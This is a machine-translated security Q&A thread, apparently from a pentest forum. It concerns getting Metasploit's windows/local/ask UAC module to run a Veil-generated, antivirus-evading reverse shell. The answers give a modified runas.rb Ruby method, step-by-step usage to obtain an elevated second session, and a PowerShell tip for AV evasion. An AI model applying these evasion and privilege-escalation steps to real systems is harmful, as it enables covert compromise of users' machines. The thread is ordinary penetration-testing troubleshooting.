使用 UAC 绕过的自定义 Metasploit 有效负载

信息安全 渗透测试 杀毒软件 元数据 社会工程学 uac
2021-08-23 12:28:52

我正在攻击的机器安装了防病毒软件。

我已经设法使用Veil 框架来创建一个初始的反向 shell 有效负载,该有效负载未被 AV 检测到。但是,在 Windows 7 目标上启用了 UAC。

我正在尝试使用 Metasploitexploit/windows/local/ask来提示用户,希望他们单击​​“是”以允许有效负载创建另一个具有提升权限的反向 shell。

但是,AV 检测到默认的 metasploit 有效负载,因此我使用payload/generic/custom设置PAYLOADFILE为我的 Veil 生成的.exe. 但是,在运行漏洞利用程序时,我收到以下错误消息:

msf exploit(ask) > exploit 

[*] UAC is Enabled, checking level...
[*] The user will be prompted, wait for them to click 'Ok'
[-] Exploit failed: NoMethodError undefined method `length' for nil:NilClass

我意识到还有其他方法可以绕过 UAC:

  • exploit/windows/local/bypassuac

  • exploit/windows/local/bypassuac_injection

尽管作为此笔测试实验的一部分,我希望最终用户手动允许有效负载。

我的语法对漏洞利用是否正确:

msf exploit(ask) > show options 

Module options (exploit/windows/local/ask):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   FILENAME                    no        File name on disk
   PATH                        no        Location on disk, %TEMP% used if not set
   SESSION    4                yes       The session to run this module on.
   TECHNIQUE  EXE              yes       Technique to use (Accepted: PSH, EXE)


Payload options (generic/custom):

   Name         Current Setting                                      Required  Description
   ----         ---------------                                      --------  -----------
   PAYLOADFILE  /usr/share/veil-output/compiled/payload_0907_cs.exe  no        The file to read the payload from
   PAYLOADSTR                                                        no        The string to use as a payload


Exploit target:

   Id  Name
   --  ----
   0   Windows

我已经用谷歌搜索了这个错误,但它似乎没有返回任何相关内容。我正在以正确的方式解决这个问题吗?

2个回答

复制时遇到同样的问题。

更新

使用该windows/local/ask漏洞利用时,您似乎不需要使用它设置有效负载。windows/local/ask漏洞利用中,您可以设置对 undetectabletrojan.exe 的引用,然后它将通过 UAC 以提升的权限执行。然而,正如@SilverlightFox所指出的,ask 漏洞利用总是使用自生成的有效载荷,该有效载荷很容易被 AV 检测到。为了解决这个问题,需要进行一些更改/usr/share/metasploit-framework/lib/msf/core/post/windows/runas.rb

代码更改

  • 打开 /usr/share/metasploit-framework/lib/msf/core/post/windows/runas.rb
  • 编辑该def shell_execute_exe方法,使其如下所示(pastebin): def shell_execute_exe(filename = nil, path = nil) exe_payload = generate_payload_exe payload_filename = filename || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe' payload_path = path || get_env('TEMP') cmd_location = "#{payload_path}\#{payload_filename}" if filename == nil print_status("Uploading payload to the filesystem...") write_file(cmd_location, exe_payload) else print_status("Using #{payload_filename}...") end command, args = cmd_location, nil shell_exec(command, args) end

  • 重新加载 msf

使用漏洞

具体步骤如下:

  • 生成一个无法检测到的反向shell exe(我们称之为undetectabletrojan.exe)
  • 获取没有权限的meterpreter会话
  • 通过非特权会话上传 undectabletrojan.exe(例如到 c:\tmp)
  • 后台这个非特权会话并设置一个新的漏洞利用 ( windows/local/ask)
  • 设置漏洞利用的以下选项windows/local/ask
    • 设置文件名 undectabletrojan.exe
    • 设置路径 c:\tmp
  • 即使你没有设置有效载荷,你也应该设置 LPORT 和 LHOST 选项,显然ask漏洞利用总是使用 windows reverse_tcp 有效载荷。
  • 开发
  • 您将有第二个会话,特权。

解决方法是修改/usr/share/metasploit-framework/lib/msf/core/post/windows/runas.rb .

  • 在第 23 行它提到 print_status("Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...")
  • 将此修改为: print_status("Uploading #{payload_filename}...")

  • 保存

  • 退出 msfconsole
  • 确保在重新启动 msfconsole 后运行“reload-all”

然后它对我有用,尽管在更改完成之前我必须重新启动 msfconsole 几次。让我知道它说了什么。

TECHNIQUE选项设置PSH为 Powershell 似乎可以解决我的 AV 规避问题。防病毒软件检测恶意 Powershell 代码的效果几乎不如可执行代码(如果有的话)。

感谢他@Michael回答虽然exploit/windows/local/ask似乎用FILENAME我测试期间设置的任何内容覆盖了手动上传的有效负载,所以这对我不起作用。

迈克尔在修订版 3中的回答不起作用,但是修订版 5runas中对模块的代码修复很有效。